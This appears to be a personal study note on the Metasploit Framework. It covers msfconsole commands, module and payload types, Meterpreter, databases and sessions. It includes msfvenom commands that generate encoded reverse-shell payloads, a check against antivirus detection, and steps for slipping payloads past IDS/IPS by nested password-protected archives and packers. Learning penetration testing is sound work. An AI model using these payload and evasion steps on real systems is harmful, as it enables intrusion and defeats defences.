Metasploit.md
  1  ---
  2  abbr:
  3    - "MSF: Metasploit Framework"
  4    - "NX: No eXecute"
  5    - "CPU: Central Processing Unit"
  6    - "DEP: Data Execution Prevention"
  7    - "RWX: Read Write eXecute"
  8    - "AV: Anti Virus"
  9    - "IPS: Intrusion Prevention System"
 10    - "IDS: Intrusion Detection System"
 11  ---
 12  Before reading on, its important to not rely too heavily on the tools one uses as it would severely hinder the learning progress 
 13  
 14  There are 2 versions of Metasploit which are
 15  - Metasploit Pro 
 16  - Metasploit Framework
 17  
 18  Metasploit Pro comes with additional features, which are:
 19  - Task Chains
 20  - Social Engineering
 21  - Vulnerability Validations
 22  - GUI
 23  - Quick Start Wizards
 24  - Nexpose Integration
 25  
 26  Type `msfconsole` into the terminal to use MSF
 27  
 28  ```bash
 29  # Searching help in msfconsole
 30  msf > help search
 31  
 32  # Searching for modules
 33  msf > search eternalromance
 34  
 35  # Specific search using other tags
 36  msf > search type:<auxiliary/exploit/post> platform:<windows/linux> cve:<year> rank:<rank> <pattern to search>
 37  # Example
 38  msf > search type:exploit platform:windows cve:2021 rank:excellent microsoft
 39  
 40  # Search using Microsoft Security Bulletin ID
 41  msf > search ms17_010 # EternalRomance
 42  
 43  # Selecting modules that is going to be used
 44  msf > use <module id>
 45  
 46  # Show info for selected module
 47  msf > info
 48  
 49  # Show options for selected module
 50  msf > options
 51  
 52  # Showing available payloads 
 53  msf > show payloads
 54  
 55  # Selecting payload to use
 56  msf > set payload <No .>
 57  
 58  # Showing available payloads using grep to get specific results
 59  msf > grep <desired keyword> grep <desired keyword> show payloads
 60  
 61  # Setting a value to an option
 62  msf > set <name> <ip>
 63  # example
 64  msf > set RHOSTS 10.10.10.40
 65  
 66  # Selecting targets for the selected module
 67  msf > show targets
 68  
 69  # Running the selected module
 70  msf > run
 71  
 72  # Showing encoder for an selected payload
 73  msf > show encoder
 74  
 75  ```
 76  
 77  ## Modules
 78  
 79  Metasploit modules are prepared scripts with a specific purpose and corresponding functions
 80  
 81  Exploit category can be used to exploit existing vulnerabilities in an automated manner
 82  
 83  We can select from an extensive list containing all available Metasploit modules. Each of them are structured into folders which looks like this:
 84  `<No.> <type>/<os>/<service>/<name>`
 85  Example
 86  `794 exploit/windows/ftp/scriptftp_list`
 87  
 88  The **type** will tell you what a piece of code for this module will accomplish
 89  
 90  Table below shows the **types** that are available in Metasploit and what they will accomplish
 91  
 92  | **Type**    | **Description**                                                                                 |
 93  | ----------- | ----------------------------------------------------------------------------------------------- |
 94  | `Auxiliary` | Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality.  |
 95  | `Encoders`  | Ensure that payloads are intact to their destination.                                           |
 96  | `Exploits`  | Defined as modules that exploit a vulnerability that will allow for the payload delivery.       |
 97  | `NOPs`      | (No Operation code) Keep the payload sizes consistent across exploit attempts.                  |
 98  | `Payloads`  | Code runs remotely and calls back to the attacker machine to establish a connection (or shell). |
 99  | `Plugins`   | Additional scripts can be integrated within an assessment with `msfconsole` and coexist.        |
100  | `Post`      | Wide array of modules to gather information, pivot deeper, etc.                                 |
101  
102  The **service** tag shows the vulnerable service that is running on the target machine
103  
104  ```ad-note
105  We can use `local_exploit_suggester` once we have our Meterpreter session to know what other exploit we can run in the system.```
106  ```
107  
108  We can search [ExploitDB](https://www.exploit-db.com/) to find readily available Metasploit modules, which could be directly imported into our version of `msfconsole`
109  
110  We can set the tag in the search to MSF, which will show scripts that are available in Metasploit module format
111  
112  Alternatively we can use `searchsploit` as below
113  ```bash
114  # Searching for a module 
115  searchsploit -t Nagios3 
116  ```
117  
118  We will have to download the [[Ruby]] file and place it in `/usr/share/metasploit-framework/modules/exploits/<platform>/<something>/<snakecase and underscores>.rb`
119  
120  Once we get the module in we can either run `msf > loadpath /usr/share/metasploit-framework/modules/` or `msf > reload_all`
121  
122  ## Payloads
123  
124  Payloads refers to a module that aids the exploit module in returning a shell to the attacker 
125  
126  Payload are sent with exploit and bypass standard functioning procedure of vulnerable server and then run on the target [[Operating System]] to return foothold
127  
128  There are 3 different types of payload in Metasploit Framework
129  - Singles
130  - Stagers
131  - Stages
132  
133  `windows/shell_bind_tcp` is a single payload with no stage while `windows/shell/bind_tcp` contains `bind_tcp` and `shell` stages
134  
135  Payloads can be used using msfvenom
136  
137  Below are a table of the most common payloads used for [[Windows]] machines and their respective description
138  
139  | **Payload**                       | **Description**                                                        |
140  | --------------------------------- | ---------------------------------------------------------------------- |
141  | `generic/custom`                  | Generic listener, multi-use                                            |
142  | `generic/shell_bind_tcp`          | Generic listener, multi-use, normal shell, TCP connection binding      |
143  | `generic/shell_reverse_tcp`       | Generic listener, multi-use, normal shell, reverse TCP connection      |
144  | `windows/x64/exec`                | Executes an arbitrary command (Windows x64)                            |
145  | `windows/x64/loadlibrary`         | Loads an arbitrary x64 library path                                    |
146  | `windows/x64/messagebox`          | Spawns a dialog via MessageBox using a customizable title, text & icon |
147  | `windows/x64/shell_reverse_tcp`   | Normal shell, single payload, reverse TCP connection                   |
148  | `windows/x64/shell/reverse_tcp`   | Normal shell, stager + stage, reverse TCP connection                   |
149  | `windows/x64/shell/bind_ipv6_tcp` | Normal shell, stager + stage, IPv6 Bind TCP stager                     |
150  | `windows/x64/meterpreter/$`       | Meterpreter payload + varieties above                                  |
151  | `windows/x64/powershell/$`        | Interactive PowerShell sessions + varieties above                      |
152  | `windows/x64/vncinject/$`         | VNC Server (Reflective Injection) + varieties above                    |
153  
154  #### Singles
155  
156  Single payloads are more stable, but are larger
157  
158  Singles are self-contained payloads 
159  
160  They are the only thing sent and execute in the target, getting the results immediately after running
161  
162  A singles payload can do simple things too like adding a user to the target system or booting up a process
163  
164  #### Stagers
165  
166  Works with [[#Stages]], waits for it to establish a connection from the victim host
167  
168  Are smaller in size and more reliable than [[#Singles]] 
169  
170  Metasploit will use the best one and fall back to a less-prefered one when necessary
171  
172  Windows NX vs No-NX Stager:
173  - Reliability issue for NX CPUs and DEP.
174  	- NO-NX stagers fail reliably on NX/DEP-enabled CPUs because they try to execute staged code directly from non-executable memory regions like the stack or heap
175  	- To understand DEP better, read [[Stack-Based Buffer Overflows on Linux x86#DEP|here]]
176  	- Once NX bit detects changes in heap or stack, it will crash, preventing full payload downloads
177  - NX stagers are biger (VirtualAlloc memory)
178  	- Include calls to [[Windows]] API VirtualAlloc(ex. PAGE_EXECUTE_READWRITE)
179  	- Then copies the stager into new RWX memory page marked as executable to evade [[Stack-Based Buffer Overflows on Linux x86#DEP|DEP]]
180  - Default is now NX + Win7 compatible
181  	- Win7 and later enforce DEP/NX by default on supported hardware
182  
183  
184  #### Stages 
185  
186  Stages are payload component that are downloaded by [[#Stagers]] 
187  
188  Stages provide advanced features with no size limits, [[VNC]] Injection and others
189  
190  Payload stagers automatically use middle stagers:
191  - A single `recv()` fails with large payloads
192  - The Stager receives the middle stager
193  - The middle Stager then performs a full download
194  - Also better for RWX
195  
196  ### Staged Payloads
197  
198  Used to chain the attacks together
199  
200  Aids to be compacts and insonspicuous as possible to prevent detection from AV/IPS as much as possible
201  
202  **Stage0** of staged payload represents the initial shellcode sent over the network to the target machine, its sole purpose is initializing a connection back to the attacker machine. This is known as reverse connection
203  
204  **Stage0** code aims to read a larger, subsequent payload into memory once it arrives, once there is a stable connection between the target and attacker, the attacker machine would send an even bigger payload stage called **Stage1**
205  
206  ```ad-tip
207  Reverse connections are *less likely* to trigger prevention systems
208  ```
209  
210  #### Meterpreter Payload
211  
212  Meterpreter paylaod uses [[DLL Injection]] to ensure connection to victim is stable, hard to detect by simple checks and persistent across reboots and system changes
213  
214  Meterpreter resides in memory of target and leave no trace on hard drive
215  
216  Scripts and plugins can be loaded and unloaded dynamically as required
217  
218  Meterpreter interface allows us to use alot of useful commands such as capturing keystroke, collect password hash, microphone tapping and screenshotting
219  
220  ## Encoder
221  
222  Encoder makes payload compatible with different processor architectures while evading AV detection
223  
224  The architecture that encoder can make it run on are:
225  - x64
226  - x86
227  - sparc
228  - ppc
229  - mips
230  
231  Encoder are needed to remove hexadecimal opcodes known as *bad characters*
232  
233  Using encoders to evade IPS/IDS is not the most effective nowaday as their protection are able to better deal with signatures in malwares and viruses
234  
235  [[Shikata Ga Nai]] was one of the most used encoding schemes as it was hard to detect but modern detection are able to catch up
236  
237  This [article](https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html) shows how [[Shikata Ga Nai]] were better than other encoders
238  
239  We can use `msfvenom` to generate payload 
240  
241  ```bash
242  # Using msfvenom to generate payload without encoding
243  msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
244  
245  # Using msfvenom to generate payload with [[Shikata Ga Nai]] encoding
246  msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
247  
248  # Using msfvenom to generate payload with [[Shikata Ga Nai]] encoding, 10 times and outputting a file 
249  msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai -i 10 -o ./<filename.something>
250  ```
251  
252  We can use `msf-virustotal` to check if our payload would be detected by AV
253  `msf-virustotal -k <API key> -f <filename.something>`
254  
255  ## Databases
256  
257  Use databases to keep track of your results
258  
259  `msfconsole` have built-in support for [[PostgreSQL]] database system
260  
261  Database entries can be used to configure Exploit module parameters with existing findings
262  
263  ```bash
264  # Starting database service 
265  sudo msfdb init
266  
267  # Checking the status of msfdb 
268  sudo msfdb status
269  
270  # Initialise msfdb if msfdb have active status
271  sudo msfdb init
272  # OR reinitialise the database if we are not able to change the password to the MSF username
273  sudo msfdb reinit
274  cp /path/to/MSF/database.yml ~/.msf4/
275  sudo service postgrsql restart
276  msfconsole -q
277  
278  # Starting msfdb
279  sudo msfdb run
280  ```
281  
282  ### Database Workflow
283  
284  We can use *workspaces* in msfconsole, think of *workspaces* as folders in a project
285  
286  Workspaces allows us to segregate different scan results, hosts, and extracted information
287  
288  We can import the results of an [[Nmap]] scan into our database by using the `db_import` command, keep in mind that [[XML]] file is preferred
289  
290  We could also run [[Nmap]] *inside msfconsole* by running `db_nmap`
291  
292  The `creds` command allows the visualisation of the credentials gathered, can also be added manually
293  
294  `loot` can be used along with `creds` to show owned services
295  
296  ```bash
297  # Viewing current workspace list
298  msf > workspace
299  
300  # Adding workspace 
301  msf > workspace -a <workspace name>
302  
303  # Deleting workspace
304  msf > workspace -d <workspace name>
305  
306  # Importing nmap scan into msfdb
307  msf > db_import <filename>.xml
308  
309  # Using [[Nmap]] inside msfconsole
310  msf > db_nmap -sV -sS <ip>
311  
312  # Looking at available hosts
313  # After import [[Nmap]] results or running it directly in msfconsole
314  msf > hosts
315  # For more commands available for hosts 
316  msf > hosts -h
317  
318  # Looking at available services
319  # After import [[Nmap]] results or running it directly in msfconsole
320  msf > services
321  # For more commands available for services
322  msf > services -h
323  
324  # Exporting data of msfdb
325  msf > db_export -f <format> <filename>
326  
327  # Showing all the available commands for creds
328  msf > creds -h
329  
330  # Listing all the collected loots
331  msf > loot
332  # For more commands available for loot
333  msf > loot -h
334  ```
335  
336  ## Plugins
337  
338  To install a plugin, we need to ensure it is installed in the correct directory on our machine. 
339  
340  This can be found in `/usr/share/metasploit-framework/plugins`. We can see all out plugins here
341  
342  If the plugin is in `/usr/share/metasploit-framework/plugins` we can then type the plugin name in `msfconsole`
343  
344  To install new plugin, just move the [[Ruby]] plugin file into `/usr/share/metasploit-framework/plugins`
345  
346  ```bash
347  # Loading a plugin in msfconsole
348  msf > load <plugin name>
349  ```
350  
351  ## Sessions
352  
353  We can background a session by pressing *[CTRL] + [Z]* key combination or by typing `background` in the **Meterpreter**
354  
355  ```bash
356  # Listing available sessions
357  msf > sessions
358  
359  # Interacting with a session
360  msf > sessions -i <session id>
361  
362  # Showing help menu of jobs
363  msf > jobs -h
364  
365  # Running an exploit as a job
366  msf > exploit -j
367  
368  # Listing running jobs
369  msf > jobs -l
370  ```
371  
372  Tasks inside a session can be converted into jobs to run in the background seamlessly. Will run even if the sessions dies or disappears
373  
374  ## Bypassing Firewall and IPS/IDS Detection
375  
376  | **Security Policy**                         | **Description**                                                                                                                                                                                                                                                                                                                   |
377  | ------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
378  | `Signature-based Detection`                 | The operation of packets in the network and comparison with pre-built and pre-ordained attack patterns known as signatures. Any 100% match against these signatures will generate alarms.                                                                                                                                         |
379  | `Heuristic / Statistical Anomaly Detection` | Behavioral comparison against an established baseline included modus-operandi signatures for known APTs (Advanced Persistent Threats). The baseline will identify the norm for the network and what protocols are commonly used. Any deviation from the maximum threshold will generate alarms.                                   |
380  | `Stateful Protocol Analysis Detection`      | Recognizing the divergence of protocols stated by event comparison using pre-built profiles of generally accepted definitions of non-malicious activity.                                                                                                                                                                          |
381  | `Live-monitoring and Alerting (SOC-based)`  | A team of analysts in a dedicated, in-house, or leased SOC (Security Operations Center) use live-feed software to monitor network activity and intermediate alarming systems for any potential threats, either deciding themselves if the threat should be actioned upon or letting the automated mechanisms take action instead. |
382  
383  ```bash
384  # We can bypass IDS/IPS Detection by archiving the payload multiple times
385  # Below is an example of archiving a payload twice
386  # -p here will archive it with a password
387  rar a ~/<outputfilename>.rar ~/<payloadname>.<extension> -p
388  mv <outputfilename>.rar <outputfilename>
389  rar a ~/<outputfilename2>.rar ~/<outputfilename> -p
390  mv <outputfilename2>.rar <outputfilename2>
391  ```
392  
393  Packer refers to the results of packing the payload together with an executable program and with the decompression code in one single file.
394  
395  When run, the decompression code will return the backdoored executable to its original state
396  
397  Below is a list of popular packer softwares:
398  - UPX packer 	
399  - The Enigma Protector 	
400  - MPRESS
401  - Alternate EXE Packer 	
402  - ExeStealth 	
403  - Morphine
404  - MEW 	
405  - Themida
406    
407  To learn more about packers, read [here](https://jon.oberheide.org/files/woot09-polypack.pdf)